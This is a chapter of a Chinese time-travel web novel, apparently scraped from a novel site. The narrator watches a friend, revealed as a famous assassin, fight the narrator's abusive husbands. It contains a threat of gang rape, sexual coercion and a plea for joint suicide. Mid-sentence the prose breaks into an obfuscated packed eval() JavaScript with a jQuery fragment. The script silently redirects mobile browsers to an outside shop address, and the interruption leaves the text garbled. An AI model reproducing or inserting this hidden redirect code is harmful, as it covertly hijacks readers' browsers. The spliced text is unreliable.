215. 第二百一十五章

作品:《[七五]穿越日记

    五雷轰顶,通体发麻。


    怎么是她?


    怎么可能是她?


    官府追查多年杳无踪迹的恐怖怪物,怎么可能是温婉明秀、良善若水的南乡?


    普通的友人,正常的邻居,稀松平常的朝夕相处,多年来岁月静好的温馨陪伴,就住在我身边,与我同榻共寝、同饮食、同起居、一同养小狗……


    江湖赏金刺客排行榜上,多年来不可撼动的第壹号,怎么可能是个女流之辈?不该是个男人么???


    脑袋大片空懵,下意识地遵循撕心裂肺的吼骂,去东边的嶙峋怪石后面,摸索着,寻找她所指令的双兵武器。


    “退回去。”


    豪商狠戾的视线扫来,威压可怕,不容置喙,携卷着洪水猛兽般无尽的心理阴影。


    “退回小亭子里去,老老实实地抱腿坐着。”


    “从现在开始,你若敢有半分动作,咱乖巧可人儿的好夫人,过后惩戒重罚,为夫与猫儿一起轮了你,让你十几日下不了地,人事不省,浑浑噩噩,筋骨寸断。”


    “……”


    定在了当场,脚底生根扎入了泥土般,再不敢动弹丝毫。


    唯剩下指尖微微的哆嗦。


    严重的应激反射,全身上下都在微微地颤抖,冰冷的寒意由尾椎窜上后颈,窜上头皮,头皮紧凛,脑海一片空茫苍白。


    “拿刀啊!!!……”


    友人五内俱焚地朝我嘶吼,狼狈地作战闪避。


    恨铁不成钢,泪眸猩红,几近疯魔。


    “别跪!站起来!别跪!……”


    “你忘了你以前多么自由了?你忘了你以前是什么样的人了?你忘了我们从哪里来的了?你忘了我们受过的教育了?站起来!不许跪啊王|八|蛋!!!……”


    “……”


    寒风里,颤抖的哭腔,细哑的哀求,卑微到尘埃里。


    “你们别伤害她,相公,夫君,求求你们,放她一条生路,放她走,我做什么都可以……我、我自己脱衣服……”


    颤抖着手指解衣带,空荡荡的外袍底下,腿根深处,猩红的血线已经滑滴到了脚踝。


    缓缓地跪了下去,跪在了冰寒的石亭中。


    然而他们仿佛聋了般,什么都没听。


    笃定了我已经没有任何骨头,不足为惧,这一生都再也站不起来以后,便放心地无视了我。


    “……”


    高官巨贾。


    还有冷月之下,华裳风流、惊艳绝伦的锦毛鼠。


    九环钢刀、腥血长刀、巨阙重剑,缔结阵法,困杀孤立无援的软剑。


    “我恨你。”


    好友最后说。


    “我不该为你犯险,我该拿了你的遗产直接移居北辽才对。”


    “你已不再是当初那个完整的人了,如今只剩下条被男人打碎了全身骨头,任由骑|辱操控的麻木奴|狗。”


    “你这样子,还不如死了干净,刚刚我拿剑抹你的咽喉,你为何要躲,”泪涟涟,质问,“为何要躲,那是在给你解脱啊,难道你真要这样子行尸走肉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16969272|193426||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地伛偻五六十年,直到垂垂老朽、油尽灯枯么?……”


    “在我死后,明文,”她沙哑地叹息,“自|杀吧,跟我一起走。”


    “万一我们死了,能重返公元两千年后呢?何不赌一把?”


    “……”


    我不敢赌。


    我真不敢赌。


    深邃恐怖的死亡,意味着无穷无尽的黑暗未知。


    杀死自己就能回家?


    那幻想太天真了。


    那几率太微乎其微了。


    命就一条。


    死亡就是死亡,什么都不剩,灰飞烟灭。


    “……”


    友人大概也知道这想法太过天方夜谭,后来渐渐恐惧,畏缩了。


    血淋淋,皮开肉绽,崩溃了。


    “救我,明文……”


    “救我……”


    “我害怕,明文,我不想死……”


    “救我……”


    “救命……”


    摇摇晃晃地站起了身,揉了揉跪得冰寒发抖的膝盖,去怪石后面的草丛里,摸索出了那两把久违的双兵弯刀。


    作战捕头的双弯刀。


    “你敢?!——”


    蒋大老板朝我怒然吼骂。


    既然他们不肯放了她,既然他朝我吼,那么今夜,先剐的就是他。


    没有任何表情,平稳地迈步走来,双手耍出两个生疏的旋转刀花。


    “你死了,我于这异乡再无留恋。不如共同化为腐肉枯骨,泥土里作个伴儿。”